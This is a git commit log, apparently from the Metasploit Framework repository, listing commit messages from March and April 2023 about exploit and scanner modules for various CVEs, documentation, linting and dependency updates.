2023-04-14 15:28:16 -05:00
RageLtMan 6039affe0d Address @gwilcox-r7's comments 2023-04-14 15:28:15 -05:00
RageLtMan da93c9440f Cleanup cache API 2023-04-14 15:28:15 -05:00
RageLtMan 3d49b4b429 Use ivar_set for answer setters 2023-04-14 15:28:15 -05:00
RageLtMan 513779fd3f Drop vestigial #validate_path calls 2023-04-14 15:28:15 -05:00
RageLtMan c4e29eaa94 Implement Caching DNS Resolver in Rex
Rex::Proto::DNS::Resolver is currently unable to approximate the
host OS' native resolver because:
1. It cannot cache responses and has to go out to its defined NS'
each time to query for the answers,
2. Because it is not aware of the system's hostsfile entries which
can result in leaks/mis-targeted execution, and a bunch of other
unpleasantly nuanced problems.

Address the concern by:
1. Creating a descendant CachedResolver class from
Rex::Proto::DNS::Resolver, with a #send method override which
performs cache query and population.
2. Moving the Cache class up one namespace to Rex::Proto::DNS and
updating the server accordingly.
3. Fixing the MATCH_HOSTNAME regex in Rex::Proto::DNS::Constants to
allow a short-name (vs FQDN) and creating a relevant MATCH_FQDN.

TODO:
1. Deal with adding search domains from the system to short-name
queries and records; if we decide this is a good idea (potential
for leaks).
2. Look at performance optimization for multiple concurrent queries
via singleton/refcounted/other optimized concurrent access patters.

Testing:
1. Pry-level tests of the objects edited/created in this PR. Needs
some runtime testing to QA.
2023-04-14 15:28:05 -05:00
Jack Heysel cda2e9610b Land #17820, optimising the nagiosxi modules
This PR refactors the authenticated nagiosxi modules and mixins..
2023-04-14 16:21:26 -04:00
Jack Heysel ace2f42387 Changed ranking to Good 2023-04-14 15:15:40 -04:00
Grant Willcox f9bbf32447 Land #17882, Update metasploit-payloads gem to 2.0.125 2023-04-14 11:58:41 -05:00
sfewer-r7 5d05754d9b update the AKB URL to reference the changed CVE 2023-04-14 17:44:38 +01:00
Spencer McIntyre afce19d378 Update metasploit-payloads gem to 2.0.125
Includes changes from:
* rapid7/metasploit-payloads#633
* rapid7/metasploit-payloads#625
2023-04-14 11:19:33 -04:00
sfewer-r7 e6211175b3 rename the files to the correct CVE 2023-04-14 15:52:13 +01:00
sfewer-r7 b5ea420760 On April 12 Adobe reclassified CVE-2023-26360 from an Improper Access Controll vuln to a Deserialization of Untrusted Data vuln. A private report has confirmed that CVE-2023-26359 is a similar yet seperate vuln, so I am changing the CVE associated with these two modules from CVE-2023-26359 to CVE-2023-26360 as we now beliee this is the correct CVE. 2023-04-14 15:49:10 +01:00
h00die-gr3y e0926890ab init commit module 2023-04-14 13:07:12 +00:00
h00die-gr3y 5584685f24 init commit module 2023-04-14 13:05:42 +00:00
dwelch-r7 2c8ad1f158 Land #17809, Add bootsnap for bootup performance 2023-04-14 14:01:12 +01:00
Jack Heysel b9cb33598c Resource script for automagically running LPE 2023-04-13 14:30:55 -04:00
Jack Heysel 08788d3d82 Update logging with rc script info 2023-04-13 14:28:15 -04:00
Metasploit fae910eb6b Bump version of framework to 6.3.13 2023-04-13 12:11:45 -05:00
sfewer-r7 b7f46aab99 split the CFC_METHOD_PARAMETERS by comma and not amperstand 2023-04-13 16:55:34 +01:00
Metasploit cc0a32cdda automatic module_metadata_base.json update 2023-04-13 10:45:19 -05:00
dwelch-r7 f9d5459a9c Land #17872, Ensure identify hashes helper is accessible to modules 2023-04-13 16:20:20 +01:00
sfewer-r7 90dacd00ab favor a staged meterpreter payload over the non staged payload as a default 2023-04-13 16:11:19 +01:00
sfewer-r7 8377cb7d6d group multiple suffixes with one call to end_with? 2023-04-13 16:00:30 +01:00
sfewer-r7 ae87f35944 fix two typos in documentation 2023-04-13 15:57:48 +01:00
Metasploit 7feeb25ee1 automatic module_metadata_base.json update 2023-04-13 09:27:49 -05:00
adfoster-r7 aef2b8d314 Land #17804, Fix incorrect module metadata CI and add validation automation 2023-04-13 15:11:46 +01:00
Metasploit 8cc6b88071 automatic module_metadata_base.json update 2023-04-12 19:47:46 -05:00
Grant Willcox d19c9e7732 Land #17867, fix always vulnerable in Auxiliary module surgenews_user_creds 2023-04-12 19:32:39 -05:00
Grant Willcox 0ed25cd2cc Fix RuboCop issues 2023-04-12 19:05:30 -05:00
adfoster-r7 7a4fc4b58b Land #17805, Disable Lint/UnusedMethodArgument as it can break YARD definitions 2023-04-13 00:29:19 +01:00
Metasploit 9194e66737 automatic module_metadata_base.json update 2023-04-12 17:20:28 -05:00
Grant Willcox 0e3a341ac9 Land #17864, Correct incorrect log format 2023-04-12 17:05:35 -05:00
Jack Heysel 30cf40a4f1 VMware Workspace One Acces LPE 2023-04-12 15:36:17 -04:00
Jack Heysel bc57131b73 Moving LPE to separate PR 2023-04-12 15:23:51 -04:00
Grant Willcox 7ad6c425c0 Set Lint/UnusedMethodArgument rule to apply to everything but lib/ folder 2023-04-12 11:31:28 -05:00
Zach Goldman 87c0faa73a Add ensure disconnect to ftp login module, ftp timeout configuration 2023-04-12 11:18:50 -05:00
cgranleese-r7 0dd8f94b31 Addresses PR comments 2023-04-12 14:21:07 +01:00
Metasploit fef3796d43 automatic module_metadata_base.json update 2023-04-12 07:46:05 -05:00
adfoster-r7 8e2169ed47 Ensure identify hashes helper is accessible to modules 2023-04-12 13:28:56 +01:00
adfoster-r7 e8365aba85 Land #17870, Fixes linting errors on SCTP payloads 2023-04-12 13:24:01 +01:00
dwelch-r7 275963eca2 Land #17353, Persist icpr cert as pkcs12 credential 2023-04-12 13:16:18 +01:00
sfewer-r7 43bfdcd6b4 improve the aux file read module; add a default CFC endpoint option and support servers configured with the non-default setting 'Enable Request Debugging Output' enabled. 2023-04-12 12:39:00 +01:00
Metasploit 4ed5c59cf2 automatic module_metadata_base.json update 2023-04-12 04:58:37 -05:00
Christophe De La Fuente a6b478e046 Land #17832, Two modules for UniRPC - CVE-2023-28502 and CVE-2023-28503 2023-04-12 11:43:13 +02:00
Metasploit 0a0b11491a automatic module_metadata_base.json update 2023-04-12 04:39:17 -05:00
cgranleese-r7 a313e36c1d Fixes linting errors on SCTP payloads 2023-04-12 10:24:19 +01:00
cgranleese-r7 e6c1aecd26 Land #17502, Adds SCTP Sessions 2023-04-12 10:15:43 +01:00
Ryuuuuu 585479474b fix bug which prints always vulnerable (change code suggested code by @bcoles) 2023-04-12 08:25:34 +00:00
Ryuuuuu e3983eac1f Correct incorrect log format 2023-04-12 13:04:13 +09:00
Ryuuuuu 29c24438a6 Correct incorrect log format when no files found 2023-04-12 13:01:49 +09:00
Ron Bowes 6119330e29 Update documentation to match current version of modules 2023-04-11 09:48:53 -07:00
Ron Bowes 7dc1faa689 Better error handling, and fix version detection 2023-04-11 09:34:24 -07:00
Christophe De La Fuente 59ff65d58d Land #17821, DBManager: Import: Add Nuclei JSON database import 2023-04-11 17:51:22 +02:00
adfoster-r7 875ad34b62 Persist icpr cert as pkcs12 credential
Update creds command to support pkcs12
2023-04-11 16:25:25 +01:00
sfewer-r7 375d9b34f1 make on_request_uri compatible with both command staget and teh generic java target 2023-04-11 14:25:07 +01:00
adfoster-r7 b01e3ca324 Land #17858, Update metasploit-payloads gem to 2.0.123 2023-04-11 14:08:12 +01:00
sfewer-r7 0022d0b8c3 Merge branch 'CVE-2023-26359-java-payload' into CVE-2023-26359 2023-04-11 13:59:37 +01:00
adfoster-r7 b9f3d2b1d5 Land #17862, Msf::Payload::Apk: Bump apktool minimum required version to 2.7.0 2023-04-11 13:23:19 +01:00
sfewer-r7 0af2f00ca0 URI decode the (optional) CFC_METHOD_PARAMETER param names and values, as they will be encoded again during send_request_cgi. 2023-04-11 12:42:29 +01:00
sfewer-r7 1dc8eb2802 remove linemax option from execute_cmdstager as it was artifact from testing and is not needed here 2023-04-11 12:14:28 +01:00
sfewer-r7 296fd6fec7 add in bourne and printf command stager flavors for Linux target 2023-04-11 12:07:49 +01:00
sfewer-r7 70018f7543 add psh_invokewebrequest as a command stager flavor for Windows 2023-04-11 11:57:39 +01:00
sfewer-r7 5c1057dd58 use the rails method blank? here to check for both nil and empty 2023-04-11 11:48:27 +01:00
sfewer-r7 657c1446c4 dont check these datastore options for empty? as the default values will either be set or an empty value will be detected during configuration validation 2023-04-11 11:41:55 +01:00
sfewer-r7 fa1e7ae016 close all CMFL tags and chain the getRuntime and exec calls for berevity 2023-04-11 11:22:13 +01:00
bcoles 3b7cf035ea DBManager: Import: Add Nuclei JSON database import 2023-04-10 22:22:19 +10:00
bcoles 8525849763 Msf::Payload::Apk: Bump apktool minimum required version to 2.7.0 2023-04-10 21:07:25 +10:00
Jack Heysel a2d2946007 Rubocop 2023-04-07 13:53:12 -04:00
Jack Heysel 18170babc2 Fix RCE payloads and add autorunscript 2023-04-07 13:35:16 -04:00
Ron Bowes 1a8671311d Move the offsets into a field separate from 'targets' 2023-04-07 10:26:56 -07:00
Ron Bowes 02072418f0 Expand the comment about why we're checking for \xff (since it can't appear in the payload) 2023-04-07 10:10:13 -07:00
Spencer McIntyre eec0e71dd7 Update metasploit-payloads gem to 2.0.123
Includes changes from:
* rapid7/metasploit-payloads#628
2023-04-07 10:45:14 -04:00
Jack Heysel 056b0a0e8b LPE and doc updates 2023-04-07 10:41:10 -04:00
Metasploit 599c8609a7 automatic module_metadata_base.json update 2023-04-07 08:47:12 -05:00
adfoster-r7 42902bb5e5 Land #17851, fix check function which always prints vulnerable 2023-04-07 14:24:45 +01:00
Jack Heysel 665ba4aece Add additional target 2023-04-06 23:41:36 -04:00
Ryuuuuu 9985538846 Update modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
fix nil exception

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-04-07 09:55:00 +09:00
Jack Heysel 79d4021f31 Replaced janky XML building 2023-04-06 14:58:05 -04:00
Jack Heysel 544fb8ead6 Removed unecessary start_service proc 2023-04-06 14:26:02 -04:00
Ron Bowes ce111f158a Better error handling 2023-04-06 10:35:33 -07:00
Jack Heysel d92fc41d29 Print out what command fails when attempting RCE 2023-04-06 13:31:17 -04:00
Jack Heysel 4984a3e2d3 Edit check method to raise errors instead of returning boolean 2023-04-06 13:25:20 -04:00
Metasploit 261fc5227d Bump version of framework to 6.3.12 2023-04-06 12:13:28 -05:00
sfewer-r7 b05c9c6303 add a generic java target 2023-04-06 17:29:50 +01:00
Metasploit 3c7c2f1fbe automatic module_metadata_base.json update 2023-04-06 11:27:31 -05:00
adfoster-r7 d08fa00c06 Land #17458, Weblogic t3s support 2023-04-06 17:13:16 +01:00
Steve E 67b98b5120 merge tested exploits 2023-04-06 15:42:39 +01:00
sfewer-r7 43fe41bea5 RCE exploit for CVE-2023-26359 and an auxiliary module for arbitrary file read via the same vuln. 2023-04-06 14:02:01 +01:00
Steve E f0189cc886 revert another get_once 2023-04-06 11:43:50 +01:00
Steve E 656c562816 Added notes, revert to get_once 2023-04-06 11:01:32 +01:00
Steve Embling cc79fe039a Merge branch 'rapid7:master' into weblogic-t3s-support 2023-04-06 10:38:29 +01:00
Jack Heysel b7456e20d5 VMware Workspace One Access mr_me Hekate exploit 2023-04-05 23:10:34 -04:00
Ron Bowes 523931aa4c Change target options for stack overflow exploit 2023-04-05 15:24:49 -07:00
Ron Bowes c345fe78b8 Fix up error handling and other comments from the PR 2023-04-05 15:13:35 -07:00
Ron Bowes c07ca83d6c Fix the metadata and add an in-memory target 2023-04-05 14:07:12 -07:00
Ron Bowes 04a9ae7335 Add check methods 2023-04-05 10:55:28 -07:00
Ron Bowes c22c2904c2 Fix msftidy_docs stuff 2023-04-05 10:53:58 -07:00
cgranleese-r7 e004be00fe Converted to Active Support 2023-04-05 16:53:01 +01:00
Metasploit 452daf0b64 automatic module_metadata_base.json update 2023-04-05 10:10:02 -05:00
Christophe De La Fuente 5d63175b56 Land #17823, php_cgi_arg_injection: Fix check regex match to detect code html tag 2023-04-05 16:44:52 +02:00
adfoster-r7 653234e1d0 Add bootsnap for bootup performance 2023-04-04 10:35:53 +01:00
cgranleese-r7 818046c6dd wip 2023-04-04 10:27:15 +01:00
cgranleese-r7 769e2e760c stop point 2023-04-04 10:27:15 +01:00
cgranleese-r7 c3a7da54d5 reduces code duplication 2023-04-04 10:27:11 +01:00
cgranleese-r7 40e6917b7f tests passing 2023-04-04 10:24:09 +01:00
Ryuuuuu 8b3d799104 fix check function which always prints vulnerable 2023-04-04 10:07:06 +09:00
adfoster-r7 05d9e7f9d6 Land #17842, Update docs for cmdstager 2023-04-03 21:33:01 +01:00
bwatters 917bbbc9e0 fix tagging issue 2023-04-03 15:06:26 -05:00
bwatters c93a4d0e30 So we don't actually use an http server when we use cmdstager::flavor certutil 2023-04-03 15:06:26 -05:00
bwatters 2a0221a7ed Attempt to update and clarify cmdstager docs 2023-04-03 15:06:26 -05:00
cgranleese-r7 2de5d4324f Land #17849, Update docs to use links for Github handles 2023-04-03 17:21:23 +01:00
adfoster-r7 7058d4c8ad Land #17838, Railgun documentation updates 2023-04-03 17:09:33 +01:00
Spencer McIntyre 9af0f5ca0c Railgun documentation updates 2023-04-03 09:31:30 -04:00
Metasploit a6159ccda5 automatic module_metadata_base.json update 2023-04-03 06:17:46 -05:00
adfoster-r7 f7cee703ce Land #17835, cisco_dcnm_auth_bypass: Fix TARGETURI URL normalization 2023-04-03 11:47:56 +01:00
adfoster-r7 728e1f1ea2 Land #17836, Add session.platform example to post module docs 2023-04-03 11:45:11 +01:00
adfoster-r7 2b90337947 Land #17844, fix broken module references 2023-04-03 11:34:13 +01:00
adfoster-r7 ffea12fe2c Land #17837, AutoCheck documentation 2023-04-03 11:31:35 +01:00
adfoster-r7 a853efb05f Land #17840, Add notes section to exploit template 2023-04-03 11:28:48 +01:00
adfoster-r7 c12ef82d35 Land #17841, Update Assigning-Labels doc 2023-04-03 10:49:46 +01:00
Christophe De La Fuente 057fd1b74b Remove instance variables from example code 2023-04-03 11:30:03 +02:00
adfoster-r7 b3d4812416 Update docs to use links for github handles 2023-04-03 10:29:51 +01:00
SubcomandanteMeowcos a54f3d4707 fix broken module references
doing these "by domain" now, piecemeal.

this PR fixes all broken references to the "insecurety" website, which is long dead.
2023-04-01 05:17:02 -07:00
manishkumarr1017 812d3c7f35 PR Review Changes for optimizing the nagiosxi modules 2023-04-01 14:28:37 +05:30
Jack Heysel 18cfc42cb0 Update assigning labels doc 2023-03-31 16:21:12 -04:00
jheysel-r7 e112c9b610 Update docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-03-31 14:54:20 -04:00
Jack Heysel 51fb3335c7 Removed unnecessary changes 2023-03-31 14:40:30 -04:00
Jack Heysel b82bb572ca Add notes section to exploit template 2023-03-31 14:35:06 -04:00
Christophe De La Fuente a95ae383d0 Add cleanup doc 2023-03-31 19:56:16 +02:00
Christophe De La Fuente 6fdbc0b903 Add AutoCheck mixin doc 2023-03-31 18:25:57 +02:00
Jack Heysel c41d44ac3c Add session.platform example 2023-03-31 11:22:01 -04:00
bcoles 2711ba4b3a cisco_dcnm_auth_bypass: Fix TARGETURI URL normalization 2023-03-31 23:53:41 +11:00
dwelch-r7 eb12cfec05 Land #17778, Update brocade tests to pass locally 2023-03-31 10:51:31 +01:00
Metasploit 3aabb738bf Bump version of framework to 6.3.11 2023-03-30 12:10:12 -05:00
Metasploit fd4be04e28 automatic module_metadata_base.json update 2023-03-30 11:58:43 -05:00
Jack Heysel 15d267a233 Land #17826, post module for CVE-2023-21768
This adds an exploit module for CVE-2023-21768 that
achieves local privilege escalation on Windows 11 2H22.
2023-03-30 12:27:28 -04:00
dwelch-r7 f40e843b4e Land #17833, Add check metadata to rpc module info 2023-03-30 17:08:04 +01:00
jheysel-r7 152ef4a86b Update modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb 2023-03-30 11:28:46 -04:00
jheysel-r7 6f400052b1 Update modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb 2023-03-30 11:00:55 -04:00
Metasploit 6111d55504 automatic module_metadata_base.json update 2023-03-30 08:29:58 -05:00
dwelch-r7 ab08cd2d1c Land #17753, Update get_ticket to support using forged golden tickets 2023-03-30 14:15:48 +01:00
adfoster-r7 c926f4961b Add check metadata to rpc module info 2023-03-30 10:24:31 +01:00
Metasploit 6f89d94759 automatic module_metadata_base.json update 2023-03-29 12:46:31 -05:00
space-r7 1f32004901 Land #17813, ssh_enumusers set CHECK_FALSE to true 2023-03-29 12:31:31 -05:00
Ron Bowes 7cb6213334 Fix an msftidy error 2023-03-29 09:56:04 -07:00
Ron Bowes 54ed192401 Add URLs 2023-03-29 08:10:52 -07:00
Ron Bowes 4cab9b1a34 Make rubocop happy 2023-03-29 08:05:05 -07:00
Ron Bowes 41fe44ef1a Merge branch 'master' into unirpc-auth-bypass 2023-03-29 08:03:05 -07:00
Ron Bowes 6897be4b01 Add two Metasploit modules for UniData vulnerabilities 2023-03-29 08:01:50 -07:00
Metasploit 51ea787f69 automatic module_metadata_base.json update 2023-03-29 09:49:46 -05:00
space-r7 9cd024a7a2 Land #17828, add AMQP login scanner module 2023-03-29 09:24:48 -05:00
adfoster-r7 0a559bfded Land #17704, Apache Solr RCE via Velocity Template: Attempt fix for NoMethodError when exploiting 2023-03-29 15:12:04 +01:00
adfoster-r7 e1ecdac2a5 Land #17724, Add ticket checksum to kerberos ticket creation 2023-03-29 09:01:39 +01:00
space-r7 72ec93d27a Land #17827, add AMQP version scanner module 2023-03-28 16:00:42 -05:00
adfoster-r7 aaa36e2651 Land #17831, Fix dead reference links in rpc_cmsd_opcode21.rb 2023-03-28 19:38:46 +01:00
adfoster-r7 f626b55831 Land #17825, Update zimbra_slapper_priv_esc.rb 2023-03-28 18:36:18 +01:00
adfoster-r7 f6c4679435 Land #17830, tools: modules: committer_count: Parse date argument with Time.parse 2023-03-28 18:34:24 +01:00
dm-ct 1330913e33 Fix dead reference links in rpc_cmsd_opcode21.rb
Both the reference links in this one are dead, replacing with archive.org links.

Much like https://github.com/rapid7/metasploit-framework/pull/17825, I'll be doing these ad-hoc for a little bit until I figure out a reliable way to do a load of them in one batch.
2023-03-28 18:15:26 +01:00
Jack Heysel 865251b8aa Land #17818, fix crash in RPC job info 2023-03-28 12:02:56 -04:00
bcoles 74bb908e56 tools: modules: committer_count: Parse date argument with Time.parse 2023-03-29 01:45:27 +11:00
Jack Heysel fcb93fef58 Land #17806, Optergy BMS Backdoor RCE module
This module exploits an undocumented backdoor vulnerability
(CVE-2019-7276) in the Optergy Proton and Enterprise Building
Management System (BMS) applications.
2023-03-28 10:27:35 -04:00
Jack Heysel f3c12ba176 Land #17808, Update broken secunia references
The Secunia links in the framework were dead. They have
now been restored using the wayback machine to grab
replacement links from the earliest date possible.
2023-03-27 17:20:13 -04:00
Spencer McIntyre 7a2643304e Add a missing require line 2023-03-27 16:54:04 -04:00
Spencer McIntyre 97d67c6a79 Add an AMQP login scanner 2023-03-27 16:53:03 -04:00
Spencer McIntyre 5d0ae3e0c0 Add a missing require line 2023-03-27 16:48:40 -04:00
Spencer McIntyre 95e8a1c175 Initial AMQP version scanner 2023-03-27 16:44:11 -04:00
space-r7 f9c6caa804 Land #17785, add SolarWinds (SWIS) deser RCE 2023-03-27 15:25:17 -05:00
Spencer McIntyre a36a475111 Bump rex-socket to 0.1.49
This includes the SSL fix from rapid7/rex-socket#58
2023-03-27 16:02:57 -04:00
Christophe De La Fuente 6d4ee0c071 Add exploit for CVE-2023-21768 2023-03-27 20:08:22 +02:00
dm-ct 38f7cbdfc6 Update zimbra_slapper_priv_esc.rb
fixing reference to use an archive link as the sites down.
2023-03-27 16:46:07 +01:00
bcoles abe5570902 php_cgi_arg_injection: Fix check regex match to detect code html tag 2023-03-27 15:21:04 +11:00
bcoles 8572053f0c php_cgi_arg_injection: Add notes and resolve Rubocop violations 2023-03-27 15:16:51 +11:00
h00die-gr3y bcef7ee357 updated module and documentation with SUDO option 2023-03-26 18:31:25 +00:00
manishkumarr1017 a67e894609 optimising the nagiosxi modules and also fixing the bug when autocheck is disabled 2023-03-26 15:58:45 +05:30
Jack Heysel e2e8568860 Land #17789, proftpd_modcopy_exec merge conflict 2023-03-24 23:19:18 -04:00
jheysel-r7 0d6195a9ae Merge branch 'master' into proftpd_modcopy_exec 2023-03-24 21:16:54 -04:00
Jack Heysel b7ac6d45d5 Land #17789, proftpd_modcopy_exec enhancements
This PR add documentation, notes, a reference URL, and a few
general code improvements to the check and exploit methods.
2023-03-24 21:08:28 -04:00
adfoster-r7 5f382cedba Fix crash in rpc job info command 2023-03-24 12:08:58 +00:00
Samuel Henrique d77113dad5 ssh_enumusers.rb: Change default value of 'CHECK_FALSE' to true (closes #17810)
The default action "Malformed Packet" reports all users as found even
 though they don't exist.

 Setting "CHECK_FALSE" to true will make the scanner bail out as it
 realizes the target is patched.
2023-03-23 22:24:59 +00:00
Spencer McIntyre 3ca177eb1f Add the exploit for CVE-2022-38108 2023-03-23 17:28:58 -04:00
Spencer McIntyre bfac7e6e0b Add a formatter_compatible_gadget_chains function 2023-03-23 17:28:58 -04:00
Spencer McIntyre ff3b68a352 Add the ObjectDataProvider+JsonNetFormatter 2023-03-23 17:28:58 -04:00
Spencer McIntyre 26d0f77379 Add the AMQP client 2023-03-23 17:28:53 -04:00
Metasploit 99aca10c8d Bump version of framework to 6.3.10 2023-03-23 12:10:35 -05:00
adfoster-r7 d04c8e1bce Update broken secunia references 2023-03-23 10:43:57 +00:00
h00die-gr3y 0c87b0b7cf removed Windows reference from documentation 2023-03-23 10:34:51 +00:00
bcoles 69daea95d6 exploit/unix/ftp/proftpd_modcopy_exec: Add docs and resolve RuboCop violations 2023-03-23 18:13:20 +11:00
h00die-gr3y 820e625baa updated documentation 2023-03-22 21:17:54 +00:00
h00die-gr3y 8226fb9022 fixed small typos documentation 2023-03-22 20:04:34 +00:00
h00die-gr3y 28459c286a init commit module and documentation 2023-03-22 18:40:50 +00:00
Metasploit b095a6ccd2 automatic module_metadata_base.json update 2023-03-22 13:15:21 -05:00
space-r7 67ac2dc584 Land #17771, add monitorr file upload rce 2023-03-22 13:00:38 -05:00
space-r7 3fe0801d92 use target_uri.path in requests 2023-03-22 12:50:11 -05:00
Grant Willcox 8356837e0a Land #17798, Update debug command to correctly output datastore values 2023-03-22 10:58:56 -05:00
Metasploit 16ecb2e649 automatic module_metadata_base.json update 2023-03-22 10:34:00 -05:00
adfoster-r7 d6e9e8d3bb Land #17735, fix some incorrect YARD parameters 2023-03-22 15:20:12 +00:00
Grant Willcox efd79bdd3a Land #17800, Update rubocop rule for module length limits 2023-03-22 09:44:12 -05:00
Metasploit 1918c856e1 automatic module_metadata_base.json update 2023-03-22 08:07:13 -05:00
adfoster-r7 e790b1aac6 Land #17802, update Python pingback payloads to no longer crash 2023-03-22 12:52:55 +00:00
Spencer McIntyre e02c80f10d Land #17747, Fix issues in wmap plugin 2023-03-21 17:19:23 -04:00
Spencer McIntyre 835f397f79 Add a missing include so the payloads generate 2023-03-21 16:49:25 -04:00
Metasploit 4c2b1c301f automatic module_metadata_base.json update 2023-03-21 14:23:14 -05:00
Jack Heysel 1f2a889d0c Land #17388, Zyxel router RCE
This module adds a new exploit module for a buffer
overflow in roughly 45 different Zyxel router and VPN models.
2023-03-21 15:07:04 -04:00
Jack Heysel f5d1aab01a Changed send_request_cgi to raw 2023-03-21 14:26:05 -04:00
adfoster-r7 5d0b7c191c Update rubocop rule for module length limits 2023-03-21 17:38:15 +00:00
adfoster-r7 dd576dd860 Update debug command to correctly output datastore values 2023-03-21 14:02:30 +00:00
adfoster-r7 56e5796157 Land #17784, Performance regression eager load 2023-03-21 12:59:02 +00:00
adfoster-r7 236de61130 Land #17583, Enhances info -d with references to AttackerKB 2023-03-21 12:38:36 +00:00
Dean Welch acf23e9c61 Sets config.eager_load to false for production envs 2023-03-21 12:31:33 +00:00
dwelch-r7 feaddc09cc Land #17795, Add documentation on debugging and running external python modules 2023-03-21 11:12:17 +00:00
dwelch-r7 2f45c3baa8 Land #17794, Update external modules to support python3.11 2023-03-21 11:09:55 +00:00
adfoster-r7 cf3d14d42f Update external modules to support python 3.11 2023-03-21 11:00:56 +00:00
adfoster-r7 83cc0bf5a9 Add documentation on debugging and running external python modules 2023-03-21 10:59:55 +00:00
dwelch-r7 158fae2a2c Land #17792, Fix external module crash for att open proxy scanner 2023-03-21 10:53:53 +00:00
Metasploit 1764f0806e automatic module_metadata_base.json update 2023-03-20 18:04:09 -05:00
bwatters 3b73adf05d Land #17401, Add encoder module x86/xor_poly
Merge branch 'land-17401' into upstream-master
2023-03-20 17:48:46 -05:00
h00die-gr3y c5ed25cd6c small update to documentation on vulnerable releases 2023-03-20 21:12:49 +00:00
h00die-gr3y e3df74ee5b Updates addressing review points of space-r7 2023-03-20 21:04:58 +00:00
H00die.Gr3y 871a251c94 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-03-20 21:44:11 +01:00
Spencer McIntyre e59a192a84 Restructure AMQP protocol definitions 2023-03-20 16:24:31 -04:00
Spencer McIntyre c82af18e68 Set the class and method ID from the arguments 2023-03-20 16:24:30 -04:00
Spencer McIntyre 31e3f459d8 Add some basic AMQP protocol definitions 2023-03-20 16:24:30 -04:00
Grant Willcox d257bae706 Land #17783, Update reload_lib command to catch script errors 2023-03-20 13:56:27 -05:00
adfoster-r7 49f15527d1 Fix external module crash for att open proxy scanner 2023-03-20 15:43:54 +00:00
h00die-gr3y 5903addbd6 Updates adressing majority of review points 2023-03-19 15:13:09 +00:00
bcoles 1b7cee4589 exploit/unix/ftp/proftpd_modcopy_exec: Add docs and resolve RuboCop violations 2023-03-19 15:35:36 +11:00
Metasploit 668735e418 automatic module_metadata_base.json update 2023-03-17 16:59:16 -05:00
space-r7 9e1be62f06 Land #17462, add WhatsUp Gold credential extractor 2023-03-17 16:44:17 -05:00
Jack Heysel 31a32ccd9b linting and srvhost check fix 2023-03-17 14:39:02 -04:00
jheysel-r7 56761a2f6d Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 13:01:02 -04:00
jheysel-r7 6b853b57c6 Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 13:00:15 -04:00
jheysel-r7 764abaf087 Update documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 12:59:48 -04:00
jheysel-r7 df365b55a4 Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-03-17 12:57:06 -04:00
Metasploit 01204106e9 automatic module_metadata_base.json update 2023-03-17 05:03:20 -05:00
Christophe De La Fuente 0df12fd694 Land #17754, Open web analytics 1.7.3 remote code execution 2023-03-17 10:15:33 +01:00
H00die.Gr3y 04e0fc70bf Apply suggestions from code review
Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2023-03-16 19:25:03 +01:00
Metasploit 8b26064855 Bump version of framework to 6.3.9 2023-03-16 12:14:04 -05:00
Pflegusch 3baa894840 Add DefangedMode to warn the user 2023-03-16 18:07:28 +01:00
Spencer McIntyre 0c567c474e Land #17780, Update GSoC-2023-Project-Ideas.md
Update GSoC-2023-Project-Ideas.md to remove my name from mentor list
2023-03-16 10:06:29 -04:00
adfoster-r7 6f6559dc2c Update the reload_lib command to continue reloading the remaining files if a single file fails to load 2023-03-16 11:41:00 +00:00
Arthur RAOUT 4ecf222c95 add iquote join() for x64 2023-03-16 11:21:03 +01:00
Metasploit 335c00e2f9 automatic module_metadata_base.json update 2023-03-16 05:16:49 -05:00
Christophe De La Fuente daadb4f523 Land #17775 - Add exploit for Bitbucket env var RCE (CVE-2022-43781) 2023-03-16 11:01:07 +01:00
Arthur RAOUT 5a1fdbab50 revert newline 2023-03-15 21:00:13 +01:00
Arthur RAOUT 58951196bc Merge branch 'fix_mingw_includes' of github.com:araout42/metasploit-framework into fix_mingw_includes 2023-03-15 20:58:56 +01:00
Arthur RAOUT 3d3e3195a3 fix 1 eol space 2023-03-15 20:58:42 +01:00
Professor Araout 351b62cca6 Merge branch 'rapid7:master' into fix_mingw_includes 2023-03-15 20:55:36 +01:00
Arthur RAOUT f73249f709 Added changes to mingw.rb to allow custom iquote include dirs 2023-03-15 20:54:27 +01:00
Arthur RAOUT 028cc8a909 Added changes to mingw.rb to allow custom iquote include dirs 2023-03-15 20:53:57 +01:00
Grant Willcox 1fef0ebdb1 Update GSoC-2023-Project-Ideas.md
I am no longer a mentor for this year, so remove my name from the mentor list.
2023-03-15 14:15:28 -05:00
space-r7 8a76dab0bd update line numbers 2023-03-15 13:24:33 -05:00
Pflegusch 027793cce6 Remove unused variable res in check_connection 2023-03-15 19:00:26 +01:00
Pflegusch ac72c12734 Set timeout of 1s to make session available much quicker 2023-03-15 18:59:22 +01:00
Pflegusch d06e2d9e3d Remove nvd url 2023-03-15 18:56:23 +01:00
space-r7 22c05105d3 address review comments
reduces some code duplication, sets privileged to true,
and modifies documentation to reflect lhost / rhost opts
2023-03-15 11:18:03 -05:00
3V3RYONE 9d60480d4e make subscriber nil safe 2023-03-15 21:34:51 +05:30
adfoster-r7 90d4b660f7 Update brocade tests to pass locally 2023-03-15 13:23:01 +00:00
Pflegusch 3bf60a57ae Fix typo 2023-03-15 01:54:36 +01:00
Pflegusch cea8aa8e02 Update open_web_analytics_rce.md to work with latest code changes 2023-03-15 01:34:02 +01:00
Pflegusch ee0334dd40 since file got deleted, one can not trigger the payload anymore by opening the php url 2023-03-15 01:05:10 +01:00
